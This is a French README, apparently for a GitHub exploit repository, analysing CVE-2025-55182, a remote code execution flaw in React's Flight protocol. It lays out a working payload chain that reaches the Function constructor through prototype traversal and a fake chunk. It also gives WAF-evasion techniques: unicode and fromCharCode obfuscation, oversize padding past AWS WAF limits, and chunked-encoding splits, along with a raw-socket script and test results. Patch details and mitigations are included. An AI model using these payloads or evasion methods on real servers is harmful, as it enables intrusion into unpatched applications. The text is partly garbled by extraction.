
Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité RCE critique dans le protocole Flight de React. Couvre le path traversal, l'injection de faux chunks et les techniques de contournement WAF.
NOTE : Écrit par IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 est une vulnérabilité RCE critique dans le protocole Flight de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus du gestionnaire $B pour exécuter Function(attacker_code).
Un grand merci à maple3142 pour la chaîne d'exploitation fonctionnelle !
L'exploit utilise trois champs de formulaire pour construire une charge utile malveillante :
then autoréférentiel (champ 1 $@0 → champ 0)_response fictif avec _formData.get défini sur $1:constructor:constructor$B qui appelle response._formData.get(response._prefix + id)_formData.get → Function, exécutant Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Composants clés
| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-référent ; chunk 1 (`$@0`) pointe vers le chunk 0 |
| `status: "resolved_model"` | Rend l'objet similaire à un chunk React valide |
| `reason: -1` | Définit rootReference sur undefined (évite les conflits de référence) |
| `value: '{"then":"$B1337"}'` | Charge utile imbriquée qui déclenche le gestionnaire `$B` |
| `_response._prefix` | Contient la chaîne de code RCE |
| `_response._chunks: "$Q2"` | Map vide pour éviter les plantages lors du traitement des chunks |
| `_response._formData.get` | Pointe vers `Function` via `$1:constructor:constructor` |
### Analyse approfondie des composants
#### Structure des champs de formulaire
L'exploit utilise trois champs de formulaire avec des références circulaires :```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Le then: "$1:__proto__:then" crée une auto-référence qui se résout en une vraie fonction :```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Pourquoi c'est crucial :**
1. `then` résout en `Chunk.prototype.then` - une vraie fonction appelable
2. Cela fait de l'objet factice un thenable valide
3. Lors de l'attente, JS appelle `obj.then(resolve, reject)`
4. `Chunk.prototype.then` s'exécute avec l'objet factice comme `this` :```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utilise this._response - le faux _response de l'attaquant :```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sans l'auto-référence**, la fausse `_response` ne serait jamais utilisée. L'auto-référence amène `Chunk.prototype.then` à traiter l'objet de l'attaquant comme un véritable Chunk.
#### Déclencheur Thenable en deux étapes (`value`)
Le champ `value` contient une chaîne JSON imbriquée avec un autre thenable :```json
{"then":"$B1337"}
Étape 1 : Le then autoréférentiel de l'objet extérieur déclenche le traitement des morceaux
Étape 2 : Lorsque React résout le modèle, il analyse value et rencontre un autre thenable avec then: "$B1337". Le préfixe $B déclenche le gestionnaire :```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` est `"$1:constructor:constructor"` → `getOutlinedModel()` se résout en `Function`.
Cela devient : `Function(code + "1337")` → JS valide car `1337` est simplement une expression de fin.
#### Remplissage défensif (`_chunks`)
Le faux `_response` a besoin d'une propriété `_chunks` valide pour éviter les plantages :```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Le code interne de React peut accéder à response._chunks.get() ou response._chunks.has() pendant le traitement. Une Map vide satisfait ces appels sans erreur, permettant à l'exécution d'atteindre le gestionnaire $B vulnérable.
decodeReply() est le point d'entrée, non vulnérable en lui-même.
Traversée de chemin (getOutlinedModel()) :```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Utilisation de la réponse factice** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Gestionnaire RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## Le correctif (19.2.1)
Le correctif inclut plusieurs corrections :
1. **`RESPONSE_SYMBOL` dans `initializeModelChunk()`** - Correction critique ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty check in getOutlinedModel() - Bloque le parcours du prototype ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ dans reviveModel() - Empêche la pollution du prototype ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Valide les écouteurs ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacité | Statut | Notes |
|---|---|---|
| Parcours de la chaîne de prototypes |
Cette section explique pourquoi les règles traditionnelles de correspondance de motifs des WAF ne peuvent pas détecter de manière fiable cette exploitation. Comprendre ces limitations est essentiel pour les équipes de sécurité qui évaluent leur posture défensive.
La charge utile de l'exploitation traverse plusieurs analyseurs, chacun avec un support d'encodage différent. Un WAF inspectant les octets HTTP bruts voit des chaînes encodées, mais le serveur les décode avant le traitement :
| Couche | Analyseur | Décodage |
|---|---|---|
| Structure JSON |
Cela crée un décalage fondamental : le WAF voit des octets encodés, mais l'application voit des chaînes décodées.
Un WAF naïf pourrait rechercher des motifs comme constructor, __proto__, resolved_model, ou child_process. Cependant, JSON permet les échappements unicode pour n'importe quel caractère :
Le code JavaScript à l'intérieur de la charge utile a encore plus d'options d'encodage :
| Motif |
|---|
Lorsque toutes les techniques d'encodage sont combinées :
\u0074\u0068\u0065\u006e pour then)S(99,104,105,108,100,95,...) pour child_process)Un WAF analysant le corps HTTP ne voit que des séquences d'échappement et des nombres - rien qui ne corresponde aux signatures d'attaque traditionnelles.
L'en-tête Next-Action identifie les requêtes d'actions serveur. Bien que les noms d'en-tête ne puissent pas être encodés en unicode (RFC 7230 exige des jetons ASCII), les différences de normalisation entre le WAF et le serveur créent des failles de détection :
Le correctif est la seule atténuation fiable. Les règles WAF ne peuvent pas bloquer de manière exhaustive cette attaque en raison de la flexibilité de l'encodage.
Versions requises :
En cas de report du correctif, envisagez :
\uXXXX, \xXX et normaliser les appels fromCharCode() avant la correspondance de motifs_response, _prefix, _chunks ou des références circulaires ($@0)next-action de manière insensible à la casse avec suppression des espacesNext-Action complètementFunction() avec des arguments de chaîne dynamiquesPoint clé : La correspondance de motifs seule échouera contre cette classe d'attaque. La surface d'encodage est trop vaste pour être énumérée.
Même avec des règles WAF complètes, AWS WAF a des limites de taille d'inspection du corps qui peuvent être exploitées. Cette section documente les techniques de contournement testées utilisant des charges utiles surdimensionnées.
AWS WAF n'inspecte qu'une partie du corps de la requête :
| Backend | Limite par défaut | Maximum configurable |
|---|---|---|
| ALB / AppSync | 8 Ko | 8 Ko |
| CloudFront / API Gateway | 16 Ko | 64 Ko |
| Amazon Cognito / App Runner | 16 Ko | 64 Ko |
OversizeHandlingLes règles WAF spécifient comment gérer les requêtes dépassant les limites d'inspection :
Si votre règle WAF utilise OversizeHandling: CONTINUE (par défaut courant), le contournement est trivial.
Placez des données de remplissage inoffensives avant la charge utile d'exploitation afin qu'elles tombent en dehors de la fenêtre d'inspection :``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Résultats des Tests
Toutes les charges utiles surdimensionnées ont réussi à exécuter du code à distance (RCE) sur Next.js :
| Taille du remplissage | Corps total | Décalage d'exploitation | Résultat |
|-----------------------|-------------|-------------------------|----------|
| 0 Ko | 0,6 Ko | 0,4 Ko | ✅ RCE |
| 8 Ko | 8,6 Ko | 8,4 Ko | ✅ RCE |
| 16 Ko | 16,6 Ko | 16,5 Ko | ✅ RCE |
| 32 Ko | 32,6 Ko | 32,5 Ko | ✅ RCE |
| 64 Ko | 64,6 Ko | 64,5 Ko | ✅ RCE |
| 128 Ko | 128,6 Ko | 128,5 Ko | ✅ RCE |
### Contournement par Encodage de Transfert en Morceaux
L'encodage de transfert en morceaux HTTP/1.1 divise le corps en morceaux discrets. Si le WAF inspecte les morceaux **avant** le réassemblage, les motifs s'étendant sur les limites des morceaux ne correspondront pas.
#### Comment ça Fonctionne```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Motif réparti sur plusieurs morceaux :``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Stratégies de segmentation testées
| Stratégie | Description | Résultat |
|-----------|-------------|----------|
| Split at `$@` | `"$` \| `@0"` | ✅ RCE |
| 10-byte fragments | Corps segmenté tous les 10 octets | ✅ RCE |
| 5-byte fragments | Corps segmenté tous les 5 octets | ✅ RCE |
| Split at `status` | `sta` \| `tus` | ✅ RCE |
Toutes les stratégies ont réussi à obtenir une RCE - Next.js reconstitue correctement les requêtes segmentées.
#### Exemple de socket brut```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
Remarque : AWS WAF réassemble généralement les corps fragmentés avant inspection. Cependant, cela doit être vérifié par environnement car les configurations varient.
OversizeHandling en MATCH ```json
"OversizeHandling": "MATCH"
Cela bloque toute requête dépassant la limite d'inspection lorsque les conditions de règle sont remplies.
Augmenter la limite d'inspection du corps (CloudFront/API Gateway uniquement) Configurez jusqu'à 64 Ko dans les paramètres de l'ACL web, mais cela ne prévient pas complètement le contournement.
Ajouter une règle de blocage basée sur la taille
Bloquez les requêtes POST dont l'en-tête Next-Action dépasse une taille raisonnable (par exemple, 10 Ko).
Corriger l'application - La seule solution complète.
Voir les scripts de test inclus :
test-simple.cjs - Test de charge utile de base sans fragmentationtest-oversize.cjs - Teste les tailles de remplissage de 0 à 128 Kotest-chunked-v2.cjs - Encodage de transfert fragmenté avec division par $@test-chunked-bypass.cjs - Plusieurs stratégies de fragmentation (5 octets, 10 octets, divisions par motifs)Utilisation:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Parcours de recherche
### La vulnérabilité : Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Avec le payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Bien que nous ayons obtenu Function, parvenir à une RCE nécessite de l'appeler avec des arguments contrôlés. Ces chemins ont échoué :
1. Chemin Thenable (Bloqué)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. Chemin decodeAction (Bloqué)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Chemin de l'itérateur (Bloqué)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### La percée
maple3142 a trouvé la pièce manquante : la chaîne du gestionnaire `$B` + faux `_response`. En forçant `then` à se résoudre en `Chunk.prototype.then` via une auto-référence, le faux `_response` est utilisé, permettant l'exécution de code à distance (RCE).
---
## Principales découvertes
1. **La vulnérabilité de `getOutlinedModel()` est réelle** - Les chemins séparés par deux-points permettent de parcourir la chaîne de prototypes
2. **Le constructeur Function est accessible** - `$1:constructor:constructor` fonctionne sans serverManifest
3. **L'exécution de code à distance (RCE) est réalisable** - En créant un faux chunk avec un `_response` contrôlé :
- Auto-référence `$1:__proto__:then` → `Chunk.prototype.then` fait que le faux `_response` est utilisé
- La structure du faux chunk imite la classe Chunk interne de React
- `_response._formData.get` → constructeur `Function`
- `_response._prefix` → chaîne de code malveillant
- Le gestionnaire `$B` déclenche `Function(code_malveillant)`
4. **Le correctif est complet** - Multiples vérifications `hasOwnProperty` et validations de type
---
## Références
- [Gist de maple3142](https://gist.github.com/maple3142) - Découverte de la chaîne RCE
- [Avis de sécurité React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC de msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Règle AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Avertissement
Ce dépôt est destiné **uniquement à la recherche en sécurité éducative et défensive**. La vulnérabilité a été corrigée. Mettez à jour vos dépendances immédiatement.
| Chemin | Fonction | Objectif dans l'exploit |
|---|
| Traversée de chemin | getOutlinedModel() | Résout $1:constructor:constructor → Function |
Injection de faux _response | initializeModelChunk() | Utilise le chunk._response de l'attaquant |
Gestionnaire $B | parseModelString() | Appelle _formData.get(_prefix + id) → RCE |
| ✓ Confirmé |
Via $1:constructor:constructor |
| Accès au constructeur Function | ✓ Confirmé | Aucun manifeste nécessaire |
| RCE complète | ✓ Confirmé | Via faux chunk + gestionnaire $B |
JSON.parse() |
Échappements unicode \uXXXX |
| Code JavaScript | Constructeur Function() | \uXXXX, \xXX, octal, fromCharCode() |
| Motif littéral | Équivalent Unicode | Détection WAF |
|---|
constructor | \u0063onstructor | Contourné |
__proto__ | \u005f\u005fproto\u005f\u005f | Contourné |
resolved_model | \u0072esolved_model | Contourné |
$@ (réf. circulaire) | $\u0040 | Contourné |
| Options d'encodage |
|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, codes de caractères numériques, base64 |
| Tout identifiant | Notation par crochets : this[S(112,114,...)] où S=String.fromCharCode |
| Variante | Comportement du serveur | Risque WAF |
|---|
next-action (minuscules) | Accepté (HTTP insensible à la casse) | Manqué si le WAF attend une casse exacte |
Next-Action:\tx (tabulation) | Accepté (espacement normalisé) | Manqué si le WAF attend un espace |
Next-Action: x (espaces) | Accepté | Manqué sans normalisation |
| Paramètre | Comportement | Exploitable ? |
|---|
CONTINUE | Inspecte les octets disponibles, évalue la règle | Oui - la charge utile après la limite n'est pas inspectée |
MATCH | Considère comme correspondant (bloque) | Non - bloque les requêtes surdimensionnées |
NO_MATCH | Considère comme ne correspondant pas | Oui - passe au travers |
| Type de WAF | Gestion des fragments | Contournement possible ? |
|---|
| AWS WAF (ALB) | Réassemble avant inspection | Peu probable |
| AWS WAF (CloudFront) | Réassemble avant inspection | Peu probable |
| Certains WAFs hérités | Inspecte par fragment | Oui |
| Nginx ModSecurity | Configurable | Dépend de la configuration |